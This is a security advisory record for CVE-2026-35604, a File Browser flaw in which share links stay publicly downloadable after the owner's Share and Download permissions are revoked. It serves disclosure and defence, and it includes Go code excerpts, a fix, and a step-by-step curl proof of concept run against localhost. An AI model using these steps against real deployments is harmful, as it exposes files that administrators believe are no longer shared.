GHSA-V9W4-GM2X-6RVF

Vulnerability from github – Published: 2026-04-08 00:04 – Updated: 2026-04-08 00:04
VLAI
Summary
File Browser share links remain accessible after Share/Download permissions are revoked
Details

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).

Details

Share creation (http/share.go:21-29) correctly checks permissions:

func withPermShare(fn handleFunc) handleFunc {
    return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if !d.user.Perm.Share || !d.user.Perm.Download {
            return http.StatusForbidden, nil
        }
        return fn(w, r, d)
    })
}

But share access (http/public.go:18-87, withHashFile) does not:

var withHashFile = func(fn handleFunc) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists
        authenticateShareRequest(r, link)            // line 26: checks password
        user, err := d.store.Users.Get(...)          // line 31: checks user exists
        d.user = user                                // line 36: sets user
        file, err := files.NewFileInfo(...)           // line 38: gets file
        // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
    }
}

Proof of Concept (runtime-verified)

# Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"<admin-password>"}')

# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":[],"current_password":"<admin-password>",
       "data":{"username":"testuser","password":"TestPass123!","scope":".",
       "perm":{"share":true,"download":true,"create":true}}}'

# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}

# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)

# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":["all"],"current_password":"<admin-password>",
       "data":{"id":2,"username":"testuser","scope":".",
       "perm":{"share":false,"download":false,"create":true}}}'

# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)

# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403

Impact

When an admin revokes a user's Share or Download permissions: - New share creation is correctly blocked (403) - But all existing shares created by that user remain fully accessible to unauthenticated users - The admin has a false sense of security: they believe revoking Share permission stops all sharing

This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").

Suggested Fix

Add permission re-validation in withHashFile:

user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {
    return errToStatus(err), err
}

// Verify the share owner still has Share and Download permissions
if !user.Perm.Share || !user.Perm.Download {
    return http.StatusForbidden, nil
}

d.user = user

Update: Fix submitted as PR #5888.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:04:59Z",
    "nvd_published_at": "2026-04-07T17:16:34Z",
    "severity": "HIGH"
  },
  "details": "When an admin revokes a user\u0027s Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner\u0027s current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).\n\n## Details\n\nShare creation (`http/share.go:21-29`) correctly checks permissions:\n\n    func withPermShare(fn handleFunc) handleFunc {\n        return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            if !d.user.Perm.Share || !d.user.Perm.Download {\n                return http.StatusForbidden, nil\n            }\n            return fn(w, r, d)\n        })\n    }\n\nBut share access (`http/public.go:18-87`, `withHashFile`) does not:\n\n    var withHashFile = func(fn handleFunc) handleFunc {\n        return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists\n            authenticateShareRequest(r, link)            // line 26: checks password\n            user, err := d.store.Users.Get(...)          // line 31: checks user exists\n            d.user = user                                // line 36: sets user\n            file, err := files.NewFileInfo(...)           // line 38: gets file\n            // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download\n        }\n    }\n\n## Proof of Concept (runtime-verified)\n\n    # Step 1: Login as admin\n    TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\"username\":\"admin\",\"password\":\"\u003cadmin-password\u003e\"}\u0027)\n\n    # Step 2: Create testuser with Share+Download permissions\n    curl -X POST http://localhost:18080/api/users \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d \u0027{\"what\":\"user\",\"which\":[],\"current_password\":\"\u003cadmin-password\u003e\",\n           \"data\":{\"username\":\"testuser\",\"password\":\"TestPass123!\",\"scope\":\".\",\n           \"perm\":{\"share\":true,\"download\":true,\"create\":true}}}\u0027\n\n    # Step 3: Login as testuser and create share\n    USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\"username\":\"testuser\",\"password\":\"TestPass123!\"}\u0027)\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n    # Returns: {\"hash\":\"fB4Qwtsn\",\"path\":\"/secret.txt\",\"userID\":2,\"expire\":0}\n\n    # Step 4: Verify share works (unauthenticated)\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK)\n\n    # Step 5: Admin revokes testuser\u0027s Share and Download permissions\n    curl -X PUT http://localhost:18080/api/users/2 \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d \u0027{\"what\":\"user\",\"which\":[\"all\"],\"current_password\":\"\u003cadmin-password\u003e\",\n           \"data\":{\"id\":2,\"username\":\"testuser\",\"scope\":\".\",\n           \"perm\":{\"share\":false,\"download\":false,\"create\":true}}}\u0027\n\n    # Step 6: Verify testuser CANNOT create new shares\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -d \u0027{}\u0027\n    # Returns: 403 Forbidden (correct)\n\n    # Step 7: THE BUG - old share STILL works\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK) - SHOULD be 403\n\n## Impact\n\nWhen an admin revokes a user\u0027s Share or Download permissions:\n- New share creation is correctly blocked (403)\n- But all existing shares created by that user remain fully accessible to unauthenticated users\n- The admin has a false sense of security: they believe revoking Share permission stops all sharing\n\nThis is the same vulnerability class as GHSA-68j5-4m99-w9w9 (\"Authorization Policy Bypass in Public Share Download Flow\").\n\n## Suggested Fix\n\nAdd permission re-validation in `withHashFile`:\n\n    user, err := d.store.Users.Get(d.server.Root, link.UserID)\n    if err != nil {\n        return errToStatus(err), err\n    }\n\n    // Verify the share owner still has Share and Download permissions\n    if !user.Perm.Share || !user.Perm.Download {\n        return http.StatusForbidden, nil\n    }\n\n    d.user = user\n\n---\n\n**Update:** Fix submitted as PR #5888.",
  "id": "GHSA-v9w4-gm2x-6rvf",
  "modified": "2026-04-08T00:04:59Z",
  "published": "2026-04-08T00:04:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-v9w4-gm2x-6rvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/pull/5888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser share links remain accessible after Share/Download permissions are revoked"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…